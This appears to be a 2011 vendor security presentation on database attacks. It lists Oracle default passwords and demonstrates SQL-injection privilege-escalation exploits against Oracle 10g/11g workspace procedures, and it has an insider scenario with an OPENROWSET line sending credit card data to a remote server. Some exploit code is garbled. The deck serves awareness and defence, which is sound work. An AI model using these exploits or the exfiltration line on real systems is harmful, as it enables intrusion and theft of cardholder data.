Anatomy of a Database Attack

James Bleecker
Application Security, Inc.
Principal Systems Engineer
June 9, 2011

Scott Campbell
Application Security, Inc
Regional Sales Manager
Today’s Agenda

- The Threat Landscape
- Database Vulnerabilities (Quick Overview)
- Database Attack Illustrations
- Database Forensics
- Database Security Best Practices
Some Scary Stats

519 millions records have been breached since 2008

- Less than 10% of the world’s databases are properly locked down
- 96% of breaches are avoidable through simple or intermediate controls
- In 2009, targeted attacks accounted for 89% of records compromised
Growing Threat

- Cyber Threats are SERIOUS!

- Different Sizes and Impacts
  - From Full Blown Attacks to Minor Disruptions
  - Data Breach is Most Common Outcome

- Different Targets/Objectives
  - Financial – Steal Credit Cards and Money
  - Government – Steal State Secrets
  - Business – Industrial Espionage
  - Military – Cyber Warhead Attacks on Critical Defenses and Infrastructure
Growing Threat

- **Private Sector**
  - Seen a lot of Successful Attacks
    - TJX, Heartland, Epsilon, UCLA, etc
    - Three Of Four Energy Firms Had Data Breach In Last Year
    - Sony Online Entertainment

- **Government Sector**
  - Seen a lot of Successful Attacks
    - Russia’s cyber attack on Georgia
    - Wikileaks
    - All US Government Agencies
    - All Branches of the US DoD
    - StuxNet
Growing Threat

LizaMoon Attack: What You Need To Know
By Tony Bradley, PCWorld

LizaMoon attack infects millions of websites

Growing Threat

Why Are We Losing the Cyber War?

- False Sense of Security
- US Government Lacks an Effective Doctrine of Strategic Cyber Defense
- Our laws, policies, and compliance regulations are not meeting the challenge
- Undefined system of Authority
  - “Cyber militias” are leading vs. Federal Authority
The Enemy/Tactics

Who is behind data breaches?
- Over 70% credentialed users
- 10% business partners
- 46% insiders

What’s involved in a data breach?
- 40% hacking and intrusion
- 38% incorporated malicious code
- 48% abuse of privileges
- 15% physical threats
- 2% significant error
- 43% multiple vectors
Overview: Data Breaches

- Organizations aren’t doing enough to protect themselves
  - 81% of organizations with credit card data breaches in 2008 failed their last PCI Assessment.
  - 52% of successful attacks in 2008 involved script kiddie skills or less.
    - 83% required “moderate” skills or less.
  - 39% of ESG Survey respondents admit to assessing database security less than twice a year
  - 49% of breaches in 2008 went undetected for months!

Source: Verizon 2009 Data Breach Investigation Report
Defensive Strategy

Why FOCUS on the DATABASE?

...Because that is where 98% of Sensitive Data is Stored 99.999% of the Time...

- $7.2 MM: average cost of a data breach
- 49%: Of breaches involved stolen or default credentials
- $214: The average cost per record stolen
To Make Matters Worse - Threats Are Very Real

Database Security: Recent Findings

- Only 1 out of 4 databases are locked down against attacks.

Source: 2008 IOUG Data Security Report, Joe McKendrick, Research Analyst
Compliance is More Critical than Ever!

A recent, independent survey that AppSec conducted found the following:

• Over 40% reported a failed security OR compliance audit in the past two to three years.

• One-third of enterprise respondents failed a security audit of some type (HIPAA, FISMA, SOX, etc.)

• Nearly 40% of respondents failed a HIPAA audit, the second-highest rate of failure for audits. Other common failures were internal audits, GLBA, PCI and FISMA.

Source: Application Security, Inc./Enterprise Strategy Group (Released 12/11/08)
Database Vulnerabilities
Common Database Threats

**Database Vulnerabilities:**
- Default accounts and passwords
- Easily guessed passwords
- Missing Patches
- Misconfigurations
- Excessive Privileges

**External Threats:**
- Web application attacks (SQL-injection)
- Insider mistakes
- Weak or non-existent audit controls
- Social engineering
# Database Vulnerabilities

<table>
<thead>
<tr>
<th></th>
<th>Oracle</th>
<th>Microsoft SQL Server</th>
<th>Sybase</th>
<th>IBM DB2</th>
<th>MySQL</th>
</tr>
</thead>
<tbody>
<tr>
<td>Default &amp; Weak Passwords</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Patchable Vulnerabilities</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Misconfigurations &amp; Excessive Privileges</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
</tbody>
</table>
Database Vulnerabilities: Weak Passwords

- Databases have their own user accounts and passwords

<table>
<thead>
<tr>
<th>Default &amp; Weak Passwords</th>
<th>Oracle</th>
<th>Microsoft SQL Server</th>
<th>Sybase</th>
<th>IBM DB2</th>
<th>MySQL</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
Database Vulnerabilities: Weak Passwords

- **Oracle Defaults (hundreds of them)**
  - User Account: system / Password: manager
  - User Account: sys / Password: change_on_install
  - User Account: dbsnmp / Password: dbsnmp

- **Microsoft SQL Server & Sybase Defaults**
  - User Account: SA / Password: null

- **It is important that you have all of the proper safeguards against password crackers because:**
  - Not all databases have Account Lockout
  - Database Login activity is seldom monitored
  - Scripts and Tools for exploiting weak passwords are widely available
Database Vulnerabilities: Missing Patches

- Databases have their own Privilege Escalation, DoS’s & Buffer Overflows

<table>
<thead>
<tr>
<th></th>
<th>Oracle</th>
<th>Microsoft SQL Server</th>
<th>Sybase</th>
<th>IBM DB2</th>
<th>MySQL</th>
</tr>
</thead>
<tbody>
<tr>
<td>Default &amp; Weak Passwords</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Patchable Vulnerabilities</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
</tbody>
</table>
Database Vulnerabilities: Missing Patches

- Privilege Escalation
  - Become a DBA or equivalent privileged user

- Denial of Service Attacks
  - Result in the database crashing or failing to respond to connect requests or SQL Queries.

- Buffer Overflow Attacks
  - Result in an unauthorized user causing the application to perform an action the application was not intended to perform.
  - Can allow arbitrary commands to be executed
    - No matter how strongly you’ve set passwords and other authentication features.
### Database Vulnerabilities: Misconfigurations

- Misconfigurations can make a database vulnerable

<table>
<thead>
<tr>
<th></th>
<th>Oracle</th>
<th>Microsoft SQL Server</th>
<th>Sybase</th>
<th>IBM DB2</th>
<th>MySQL</th>
</tr>
</thead>
<tbody>
<tr>
<td>Default &amp; Weak Passwords</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Denial of Services &amp; Buffer Overflows</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Misconfigurations &amp; Excessive Privileges</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
Database Vulnerabilities: Misconfigurations

Misconfigurations Can Make Databases Vulnerable

Oracle
• External Procedure Service
• Privilege to grant Java permissions
• Default HTTP Applications
• Privilege to Execute UTL_FILE

Microsoft SQL Server
• Standard SQL Server Authentication Allowed
• Permissions granted on xp_cmdshell

Sybase
• Permission granted on xp_cmdshell

IBM DB2
• CREATE_NOT_FENCED privilege granted (allows logins to create SPs)

MySQL
• Permissions on User Table (mysql.user)
The Database “Insider Threat”

Who are Insiders?
The CISO of one of the largest banks in the world says…

“I define insiders in three categories

1. Authorized and Intelligent
   - use IT resources appropriately
2. Authorized and “stupid”
   - make mistakes that may appear as malicious or fraudulent.
3. Unauthorized and Malicious
   - mask either their identity or their behavior or both!

The first two categories I can identify and track with identity management systems – the latter, I cannot!!”
Insider Attack Examples

**Ex-Ford employee held in data theft**
Engineer charged with copying proprietary documents and trying to sell them in China

Do you really know who can access your data?

**FORMER COUNTRYWIDE HOME LOAN EMPLOYEE ARRESTED FOR DOWNLOADING AND SELLING IDENTITIES OF COUNTRYWIDE HOME LOAN CUSTOMERS**
Attacking Where The Data Resides

Database Attacks!
Attacking Oracle: Become SYSDBA

- **Attack Target:**
  - Oracle 10g Release 2

- **Privilege Level:** Anyone with a Login
  - Examples: SCOTT / TIGER or Guest Account

- **Outcome:** Complete Administrative Control!
  - Attacker can run any SQL as SYSDBA

- **Vulnerabilities Exploited:**
  - Privilege Escalation via SQL Injection in SYS.LT.MERGEWORKSPACE

- **Patched by Database Vendor:**
  - Oracle October 2008 CPU
Database Exploit Demo – Oracle10gR2

Privilege Escalation to SYSDBA in SYS.LT.MERGEWORKSPACE

-bash-3.00$ ./sqlplus / as sysdba

SQL*Plus: Release 10.2.0.1.0 - Production on Fri Apr 17 18:06:52 2009
Copyright (c) 1982, 2005, Oracle. All rights reserved.

Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, Oracle Label Security options

SQL> -- Tested on releases: 10gR1, 10gR2.
-- SQL Injection vulnerability in [U/M]SYS.LT.MERGEWORKSPACE.
-- Fixed in October 2008 CPU.

connect / as sysdba
create user user1 identified by user1;
grant create session to user1;

SQL> SQL> SQL> SQL> Connected.
SQL> SQL>
User created.

SQL> SQL>
Grant succeeded.
Database Exploit Demo – Oracle10gR2

Privilege Escalation to SYSDBA in SYS.LT.MERGEWORKSPACE

```
-bash-3.00$

./sqlplus user1/user1

SQL*Plus: Release 10.2.0.1.0 - Production on Fri Apr 17 18:10:46 2009
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to:
Oracle Database 10g Enterprise Edition with the Partitioning Option
SQL> select * from user_role_privs;
no rows selected

SQL> select username, password from dba_users where username='SYS';
ERROR at line 1:
ORA-00942: table or view does not exist

SQL> select * from user_role_privs;
no rows selected

SQL> select username, password from dba_users where username='SYS';
ERROR at line 1:
ORA-00942: table or view does not exist
```
Database Exploit Demo – Oracle10gR2

Privilege Escalation to SYSDBA in SYS.LT.MERGEWORKSPACE

```sql
SQL> --
-- SQL Injection Exploit using Cursor Injection technique
--
-- The cursor contains the malicious code, in this case
-- grants DBA role to PUBLIC.
-- The SQL injection exploit call the Execute function for this cursor.
--
DECLARE
    MYC NUMBER;
    P_WORKSPACE VARCHAR2(32767);
    P_CREATE_SAVEPOINT BOOLEAN;
    P_REMOVE_WORKSPACE BOOLEAN;
    P_AUTO_COMMIT BOOLEAN;
BEGIN
    MYC := DBMS_SQL.OPEN_CURSOR;
    DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;
        begin execute immediate ''grant dba to public'';commit;end'';,0);
    P_WORKSPACE := ''''||(dbms_sql.execute('''''||myc||''''))'''';
    P_AUTO_COMMIT := FALSE;
    BEGIN
        SYS.LT.CREATEWORKSPACE(P_WORKSPACE, FALSE, 'AA', FALSE);
    EXCEPTION
        WHEN OTHERS THEN
            NULL;
    END;
    END;
END;
/
```

SYS.LT.MERGEWORKSPACE(P_WORKSPACE, P_CREATE_SAVEPOINT, P_REMOVE_WORKSPACE, P_AUTO_COMMIT);

PL/SQL procedure successfully completed.
Database Exploit Demo – Oracle10gR2
Privilege Escalation to SYSDBA in SYS.LT.MERGEWORKSPACE

SQL> connect user1/user1
Connected.
SQL> select * from user_role_privs;

USERNAME              GRANTED_ROLE      ADM DEF OS_
-------------------------------------------------------
PUBLIC                [                  NO      YES    NO

SQL> select username, password from dba_users where username='SYS';

USERNAME              PASSWORD
------------------------------------------
SYS                    2905eca56a830226
Did you mean: sys.lt.mergeworkspace

Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit
Jan 6, 2009 ... Y()="Y"); exec SYS.LT.MERGEWORKSPACE("sh2kerr" and SCOTT.Y()="Y"); /* Creating simple java procedure that executes OS */ exec ... www.milw0rm.com/exploits/7676 - 3k - Cached - Similar pages

Digital Security Research Group - [10] Oracle 10g SYS.LT ...
[10] Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit (Grant DBA+create OS user using java) ... exec: SYS.LT.MERGEWORKSPACE("sh2kerr" and SCOTT.Y()="Y"); ... dsecrg.com/pages/expl/show.php?id=23 - 12k - Cached - Similar pages

Digital Security Research Group - [9] Oracle 10g SYS.LT ...
Jan 6, 2009 ... [9] Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit (Grant DBA+create OS user using java) 06 01 2009 [9] Oracle 10g SYS.LT ... dsecrg.com/pages/expl/show.php?id=22 - 13k - Cached - Similar pages

More results from dsecrg.com »

[10] Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit (Grant DBA+create OS user using java)

Metasploit module can be downloaded here:
http://www.dsecrg.com/files/exploits/lt_MERGEWORKSPACE.rb
Attacking Oracle: Become SYSDBA

- **Outcome:** Complete Administrative Control!
  - Ran SQL as SYSDBA to GRANT DBA to PUBLIC

- **Vulnerabilities Exploited:**
  - Privilege Escalation via SQL Injection in SYS.LT.MERGEWORKSPACE

- **How Did We Do It?**
  - Freely available exploit code!
  - Google: SYS.LT.MERGEWORKSPACE
Attacking Oracle: View Any Data

- **Attack Target:**
  - Oracle 11g

- **Privilege Level:** Any Login with CREATE PROCEDURE

- **Outcome:** Access to all Database Data!
  - Attacker can run any SQL as WMSYS

- **Vulnerabilities Exploited:**
  - Privilege Escalation via SQL Injection in [WM]SYS.LT.ROLLBACKWORKSPACE

- **Patched by Database Vendor:**
  - Oracle April 2009 CPU
Database Exploit Demo – Oracle11g

Privilege Escalation in [WM]SYS.LT.ROLLBACKWORKSPACE

```
Command Prompt - sqlplus "/ as sysdba"

C:\app\Administrator\product\11.1.0\db_1\RDBMS\ADMIN>sqlplus "/ as sysdba"

SQL*Plus: Release 11.1.0.6.0 - Production on Fri Apr 17 17:22:31 2009
Copyright (c) 1982, 2007, Oracle. All rights reserved.

Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> -- Tested on 11.1.0.6
SQL> -- SQL Injection vulnerability in [WM]SYS.LT.ROLLBACKWORKSPACE. Fixed in April 2009 CPU.
SQL> connect / as sysdba
Connected.
SQL> create user user1 identified by user1;
User created.
SQL> grant create session, create procedure to user1;
Grant succeeded.
```
Database Exploit Demo – Oracle11g
Privilege Escalation in [WM]SYS.LT.ROLLBACKWORKSPACE

C:\\app\\Administrator\\product\\11.1.0\\db_1\\RDBMS\\ADMIN>sqlplus user1/user1
SQL*Plus: Release 11.1.0.6.0 - Production on Fri Apr 17 17:26:00 2009
Copyright (c) 1982, 2007, Oracle. All rights reserved.

Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> select * from v$version;

BANNER

Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
PL/SQL Release 11.1.0.6.0 - Production
CORE 11.1.0.6.0 Production
TNS for 32-bit Windows: Version 11.1.0.6.0 - Production
NLSRTL Version 11.1.0.6.0 - Production

SQL> -- USER1 has no privileges on SCOTT.EMP table
SQL> SELECT EMPNO,ENAME,SAL FROM SCOTT.EMP;
SELECT EMPNO,ENAME,SAL FROM SCOTT.EMP
  *
ERROR at line 1:
ORA-00942: table or view does not exist
Attacking Oracle: View Any Data

The Setup:
- Created a user (user1)
- Granted only the privilege to login
- Established that we can’t see sensitive data

We’re using the SCOTT.EMP table for this demo… But this attack works on any table in the database.
Attacking Oracle: View Any Data

The Attack:

- Use CREATE PROCEDURE privilege to create a function called SQLI
  - SQLI has code to read from SCOTT.EMP and print output to the screen
- Inject a call to SQLI into the vulnerable DBMS_WM.ROLLBACKWORKSPACE
- Watch as the data from SCOTT.EMP prints to the screen
Database Exploit Demo – Oracle11g

Privilege Escalation in [WM]SYS.LT.ROLLBACKWORKSPACE

```
CREATE OR REPLACE FUNCTION user1.SQLI return varchar2
authid current_user as

l_colcnt NUMBER DEFAULT 0,
l_sqlstmt VARCHAR2(2000),
l_thecursor INTEGER,
l_desc_t DBMS_SQL.DESCR_TAB,
l_columnvalue VARCHAR2(2000),
l_status INTEGER;

BEGIN
    l_thecursor := dbms_sql.open_cursor;
    l_sqlstmt := 'SELECT EMPNO,ENAME,SAL FROM SCOTT.EMP';
    DBMS_OUTPUT.PUT_LINE('Results for Query: ' || l_sqlstmt || ':

    DBMS_OUTPUT.PUT_LINE(' || l_desc_t(i).col_name || chr(9));
    dbms_sql.define_column(l_thecursor, i, l_columnvalue, 2000);
    END LOOP;
    DBMS_OUTPUT.PUT_LINE(');
    dbms_sql.define_column(l_thecursor, i, l_columnvalue, 2000);
    l_status := dbms_sql.EXECUTE(l_thecursor);
    LOOP
        EXIT WHEN dbms_sql.fetch_rows(l_thecursor) = 0;
        FOR i IN 1 .. l_colcnt
            LOOP
                dbms_sql.column_value(l_thecursor, i, l_columnvalue);
                DBMS_OUTPUT.PUT_LINE(' ' || l_columnvalue || chr(9));
            END LOOP;
        END LOOP;
    DBMS_OUTPUT.PUT_LINE('');
    END LOOP;
    DBMS_OUTPUT.PUT_LINE('');
    END LOOP;
    dbms_sql.close_cursor(l_thecursor);
    commit;
    RETURN ' ';
END;
/
```

Function created.
Database Exploit Demo – Oracle 11g

Privilege Escalation in [WM]SYS.LT.ROLLBACKWORKSPACE

```sql
SQL> --
SQL> DECLARE
2  P_WORKSPACE VARCHAR2(32767);
3  P_CREATE_SAVEPOINT BOOLEAN;
4  P_REMOVE_WORKSPACE BOOLEAN;
5  P_AUTO_COMMIT BOOLEAN;
6  BEGIN
7     P_WORKSPACE := ''''||USER1.SQL'||'''';  --<---- Function call injection
8     P_REMOVE_WORKSPACE := FALSE;
9     P_AUTO_COMMIT := FALSE;
10    BEGIN
11       DBMS_WM.CREATETMPWORKSPACE(P_WORKSPACE, FALSE, 'AA', FALSE);
12       EXCEPTION
13       WHEN OTHERS THEN
14       NULL;
15       END;
16     END;
17     DBMS_WM.REMOVEWORKSPACE(P_WORKSPACE);
18     EXCEPTION
19     WHEN OTHERS THEN
20     NULL;
21     END;
22 END;
23 /
24 Results for Query: 'SELECT EMPNO, ENAME, SAL FROM SCOTT.EMP':
```

<table>
<thead>
<tr>
<th>EMPNO</th>
<th>ENAME</th>
<th>SAL</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Attacking Oracle: View Any Data

- **Outcome**: Access to all Database Data!
  - Ran SQL as WMSYS to read sensitive data

- **Vulnerabilities Exploited**:
  - Privilege Escalation via SQL Injection in [WM]SYS.LT.ROLLBACKWORKSPACE

- **How Did We Do It**?
  - Freely available exploit code. Google WMSYS.LT.ROLLBACKWORKSPACE
DataBurglar is a database developer at a large retailer.
- He is responsible for writing the code that accepts credit card information from POS terminals and writes it into a database.

DataBurglar is addicted to adult chat rooms on the internet.
- After spending thousands on his habit, he realizes he can’t afford to continue, but he can’t stop.

- DataBurglar plots to clandestinely credit card numbers from his employer’s customers.
  - He’ll use those credit card numbers to buy more time in the chat rooms.
DataBurglar’s Plan

- The plan is to embed malicious code into the database that stores customer data.
  - Harvest the credit card data as it is processed into the system, rather than after the fact.

- DataBurglar has control over the database while in development, but will have no access when it goes to production
  - His attack needs to send the data to him….and do so without getting noticed.

- DataBurglar will use a SQL Server database on a development server to collect the credit cards
  - He will take them home on disk and delete the records from the SQL Server every week.
The DataBurglar Attack

- DataBurglar knows that the SQL OLE DB Provider is installed on the target database server.
  - This means he can use the OPENROWSET function to send data to his remote SQL Server database.

- His attack is a simple line of SQL code embedded into the transaction processing system:

```
INSERT INTO OPENROWSET ('SQLOLEDB','uid=sa; pwd=qwerty; Network=DBMSSOCN; Address=192.168.10.87,1433;', 'select * from Customers..Info') values (@FirstName, @LastName, @ccNumber, @ccType, @ccSecNumber, @ccExpDate)
```
The Attack in Detail

OPENROWSET uses the OLE DB provider to set up a connection to the remote database.

```
INSERT INTO
OPENROWSET('SQLOLEDB', 'uid=sa;pwd=qwerty;Network=DBMSSO CN;Address=192.168.10.87,1433;','select * from Customers..Info')
values (@FirstName,
@LastName,
@ccNumber,
@ccType,
@ccSecNumber,
@ccExpDate
)
```

The attackers database is located at 192.168.10.87 on port 1433

Write the data to the Info table in the Customers database...on DataBurglar's server

This is the information that we’re going to steal. Name, credit card number, expiration date, and security code...all the good stuff
Database Exploit Demo – SQL 2005

```
SELECT * FROM Customers..Info
```

starts small
Database Exploit Demo – SQL 2005

```
SELECT * FROM Customers..Info
```

then grows...
Database Exploit Demo – SQL 2005

16,000+ credit card numbers…..that’s about $80M in Credit!!!
The Outcome

- Once the application was deployed, DataBurglar collected at least 300 credit card numbers daily
  - After some time DataBurglar had thousands of records in his own SQL Server...without being noticed by anybody
- During the next scheduled application update, DataBurglar removed the attack code from the system
  - No trace remained on the victim’s SQL Server
- The heist was a success

  - When the attack was finally detected, it was too late to do anything about it.
    - Investigations, fines, firings, brand damage.....it was bad for everyone.....except the DataBurglar
Database Security Best Practices
Database Security Life Cycle

Discover
Asset Management
Policy Management

Classify
Analytics & Reporting
Vulnerability Management

Assess
Audit & Threat Management
Rights Management

Prioritize
Fix
Monitor
Addressing Database Vulnerabilities

- Start with a Secure Configuration
- Stay Patched
  - Stay on top of all the security alerts and bulletins
- Regularly Review User Rights and Privileges
  - Revoke any unnecessary access
- Defense in Depth / Multiple Levels of Security
  - Regularly scan your databases for vulnerabilities
    - Fix the problems reported!
  - Implement database activity monitoring…
  - …and database intrusion detection
    - Especially if you can’t stay patched!
  - Encryption of data-in-motion / data-at-rest
Resources

- **Oracle**
  - Oracle Project Lockdown  
    [www.oracle.com/technology/pub/articles/project_lockdown/index.html](http://www.oracle.com/technology/pub/articles/project_lockdown/index.html)
  - Oracle Security Checklist  

- **SANS Institute (SysAdmin, Audit, Network, Security)**
  - Oracle Database Checklist  
    [www.sans.org/score/checklists/Oracle_Database_Checklist.doc](http://www.sans.org/score/checklists/Oracle_Database_Checklist.doc)

- **Microsoft**
  - SQL Server 2005 Security Best Practices  

- **SQLSecurity.com**
  - SQLSecurity Checklist

- **My Book!**
  - Practical Oracle Security
Database Security Info from AppSecInc

- **White Papers**
    - SQL Server Forensics
    - Database Activity Monitoring
    - Search Engines Used to Attack Databases
    - Introduction to Database and Application Worms
    - Hunting Flaws in Microsoft SQL Server

- **Presentations**
    - Protecting Databases
    - Hack-Proofing MySQL, IBM DB2, Oracle9iAS
    - Writing Secure Code in Oracle
    - Addressing the Insider Threat to Database Security

- **Security alerts**
  - [www.appsecinc.com/resources/mailinglist.html](http://www.appsecinc.com/resources/mailinglist.html)
Thank You

Questions?

- Vulnerabilities?
- Locking down the database?

Email our security experts at:
asktheexpert@appsecinc.com

- Scott Campbell
  - 214-435-2772
  - scampbell@appsecinc.com

blog.appsecinc.com